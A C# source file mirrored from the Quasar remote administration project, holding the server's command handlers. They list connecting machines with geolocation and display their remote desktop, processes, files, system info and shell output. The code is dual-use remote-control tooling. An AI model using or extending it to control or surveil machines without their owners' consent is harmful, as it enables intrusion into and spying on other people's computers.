mirror of
https://github.com/quasar/Quasar.git
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MaxXor
401 lines
10 KiB
C#
401 lines
10 KiB
C#
using System.Drawing;
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using System.IO;
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using System.Threading;
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using System.Windows.Forms;
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using xServer.Core.Misc;
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using xServer.Core.Packets.ClientPackets;
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using xServer.Forms;
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using xServer.Settings;
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namespace xServer.Core.Commands
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{
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public static class CommandHandler
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{
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public static void HandleInitialize(Client client, Initialize packet, FrmMain mainForm)
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{
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if (client.EndPoint.Address.ToString() == "255.255.255.255")
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return;
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mainForm.ListenServer.ConnectedClients++;
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mainForm.ListenServer.AllTimeConnectedClients++;
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mainForm.UpdateWindowTitle(mainForm.ListenServer.ConnectedClients, mainForm.lstClients.SelectedItems.Count);
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new Thread(new ThreadStart(() =>
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{
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try
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{
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client.Value.Version = packet.Version;
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client.Value.OperatingSystem = packet.OperatingSystem;
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client.Value.AccountType = packet.AccountType;
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client.Value.Country = packet.Country;
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client.Value.CountryCode = packet.CountryCode;
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client.Value.Region = packet.Region;
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client.Value.City = packet.City;
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string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode);
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// this " " leaves some space between the flag-icon and the IP
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ListViewItem lvi = new ListViewItem(new string[] { " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version, "Connected", "Active", country, client.Value.OperatingSystem, client.Value.AccountType });
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lvi.Tag = client;
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lvi.ImageIndex = packet.ImageIndex;
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mainForm.Invoke((MethodInvoker)delegate
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{
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mainForm.lstClients.Items.Add(lvi);
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});
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if (XMLSettings.ShowPopup)
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ShowPopup(client, mainForm);
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client.Value.IsAuthenticated = true;
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}
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catch
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{ }
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})).Start();
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}
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private static void ShowPopup(Client c, FrmMain mainForm)
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{
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mainForm.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info);
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}
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public static void HandleStatus(Client client, Status packet, FrmMain mainForm)
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{
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new Thread(new ThreadStart(() =>
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{
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foreach (ListViewItem lvi in mainForm.lstClients.Items)
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{
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Client c = (Client)lvi.Tag;
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if (client == c)
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{
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mainForm.Invoke((MethodInvoker)delegate
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{
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lvi.SubItems[3].Text = packet.Message;
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});
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break;
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}
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}
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})).Start();
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}
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public static void HandleUserStatus(Client client, UserStatus packet, FrmMain mainForm)
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{
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new Thread(new ThreadStart(() =>
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{
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foreach (ListViewItem lvi in mainForm.lstClients.Items)
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{
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Client c = (Client)lvi.Tag;
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if (client == c)
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{
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mainForm.Invoke((MethodInvoker)delegate
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{
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lvi.SubItems[4].Text = packet.Message;
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});
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break;
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}
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}
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})).Start();
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}
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public static void HandleRemoteDesktopResponse(Client client, DesktopResponse packet)
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{
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if (client.Value.FrmRdp == null)
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return;
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if (client.Value.LastDesktop == null)
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{
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Bitmap newScreen = (Bitmap)Helper.Helper.CByteToImg(packet.Image);
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client.Value.LastDesktop = newScreen;
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client.Value.FrmRdp.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmRdp.picDesktop.Image = newScreen;
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});
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newScreen = null;
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}
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else
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{
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Bitmap screen = (Bitmap)Helper.Helper.CByteToImg(packet.Image);
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Bitmap newScreen = new Bitmap(screen.Width, screen.Height);
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using (Graphics g = Graphics.FromImage(newScreen))
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{
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g.DrawImage(client.Value.LastDesktop, 0, 0, newScreen.Width, newScreen.Height);
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g.DrawImage(screen, 0, 0, newScreen.Width, newScreen.Height);
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}
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client.Value.LastDesktop = newScreen;
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client.Value.FrmRdp.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmRdp.picDesktop.Image = newScreen;
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});
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screen = null;
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newScreen = null;
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}
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packet.Image = null;
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client.Value.LastDesktopSeen = true;
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}
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public static void HandleGetProcessesResponse(Client client, GetProcessesResponse packet)
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{
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if (client.Value.FrmTm == null)
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return;
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client.Value.FrmTm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmTm.lstTasks.Items.Clear();
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});
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new Thread(new ThreadStart(() =>
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{
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for (int i = 0; i < packet.Processes.Length; i++)
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{
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if (packet.IDs[i] != 0 && packet.Processes[i] != "System.exe")
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{
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ListViewItem lvi = new ListViewItem(new string[] { packet.Processes[i], packet.IDs[i].ToString(), packet.Titles[i] });
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try
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{
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client.Value.FrmTm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmTm.lstTasks.Items.Add(lvi);
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});
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}
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catch
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{ break; }
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}
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}
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})).Start();
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}
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public static void HandleDrivesResponse(Client client, DrivesResponse packet)
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{
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if (client.Value.FrmFm == null)
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return;
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.cmbDrives.Items.Clear();
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client.Value.FrmFm.cmbDrives.Items.AddRange(packet.Drives);
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client.Value.FrmFm.cmbDrives.SelectedIndex = 0;
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});
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}
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public static void HandleDirectoryResponse(Client client, DirectoryResponse packet)
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{
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if (client.Value.FrmFm == null)
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return;
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstDirectory.Items.Clear();
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});
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new Thread(new ThreadStart(() =>
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{
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ListViewItem lviBack = new ListViewItem(new string[] { "..", "", "Directory" });
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lviBack.Tag = "dir";
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lviBack.ImageIndex = 0;
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstDirectory.Items.Add(lviBack);
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});
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if (packet.Folders.Length != 0)
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{
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for (int i = 0; i < packet.Folders.Length; i++)
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{
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if (packet.Folders[i] != "$$$EMPTY$$$$")
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{
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ListViewItem lvi = new ListViewItem(new string[] { packet.Folders[i], "", "Directory" });
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lvi.Tag = "dir";
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lvi.ImageIndex = 1;
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try
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{
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstDirectory.Items.Add(lvi);
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});
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}
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catch
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{ break; }
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}
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}
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}
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if (packet.Files.Length != 0)
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{
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for (int i = 0; i < packet.Files.Length; i++)
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{
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if (packet.Files[i] != "$$$EMPTY$$$$")
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{
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ListViewItem lvi = new ListViewItem(new string[] { packet.Files[i], Helper.Helper.GetFileSize(packet.FilesSize[i]), "File" });
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lvi.Tag = "file";
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lvi.ImageIndex = Helper.Helper.GetFileIcon(System.IO.Path.GetExtension(packet.Files[i]));
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try
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{
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstDirectory.Items.Add(lvi);
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});
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}
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catch
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{ break; }
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}
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}
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}
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client.Value.LastDirectorySeen = true;
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})).Start();
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}
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public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet)
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{
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string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString());
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if (!Directory.Exists(downloadPath))
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Directory.CreateDirectory(downloadPath);
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downloadPath = Path.Combine(downloadPath, packet.Filename);
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bool Continue = true;
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if (File.Exists(downloadPath))
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if (MessageBox.Show(string.Format("The file '{0}' already exists!\nOverwrite it?", packet.Filename), "Overwrite Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != System.Windows.Forms.DialogResult.Yes)
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Continue = false;
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int index = 0;
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try
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{
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items)
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{
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if (packet.ID.ToString() == lvi.SubItems[0].Text)
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{
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index = lvi.Index;
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break;
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}
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}
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});
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}
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catch
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{ }
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if (Continue)
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{
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new Thread(new ThreadStart(() =>
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{
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try
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{
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Saving...";
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});
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using (FileStream stream = new FileStream(downloadPath, FileMode.Create))
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{
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stream.Write(packet.FileByte, 0, packet.FileByte.Length);
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}
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed";
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client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 1;
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});
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}
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catch
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{ }
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})).Start();
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}
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else
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{
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try
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{
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client.Value.FrmFm.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled";
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client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
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});
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}
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catch
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{ }
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}
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}
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public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet)
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{
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if (client.Value.FrmSi == null)
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return;
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ListViewItem[] lviCollection = new ListViewItem[packet.SystemInfos.Length / 2];
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int j = 0;
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for (int i = 0; i < packet.SystemInfos.Length; i+= 2)
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{
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if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
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{
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lviCollection[j] = new ListViewItem(new string[] { packet.SystemInfos[i], packet.SystemInfos[i + 1] });
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j++;
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}
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}
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if (client.Value.FrmSi == null)
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return;
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try
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{
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client.Value.FrmSi.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmSi.lstSystem.Items.RemoveAt(2); // Loading... Information
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foreach(var lviItem in lviCollection)
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{
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if (lviItem != null)
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client.Value.FrmSi.lstSystem.Items.Add(lviItem);
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}
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});
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ListViewExtensions.autosizeColumns(client.Value.FrmSi.lstSystem);
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}
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catch
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{ }
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}
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public static void HandleMonitorsResponse(Client client, MonitorsResponse packet)
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{
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if (client.Value.FrmRdp == null)
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return;
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try
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{
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client.Value.FrmRdp.Invoke((MethodInvoker)delegate
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{
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for (int i = 0; i < packet.Number; i++)
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client.Value.FrmRdp.cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1));
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client.Value.FrmRdp.cbMonitors.SelectedIndex = 0;
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});
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}
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catch
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{ }
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}
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public static void HandleShellCommandResponse(Client client, ShellCommandResponse packet)
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{
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if (client.Value.FrmRs == null)
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return;
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try
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{
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client.Value.FrmRs.Invoke((MethodInvoker)delegate
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{
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client.Value.FrmRs.txtConsoleOutput.Text += packet.Output;
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});
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}
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catch
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{ }
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}
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}
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}
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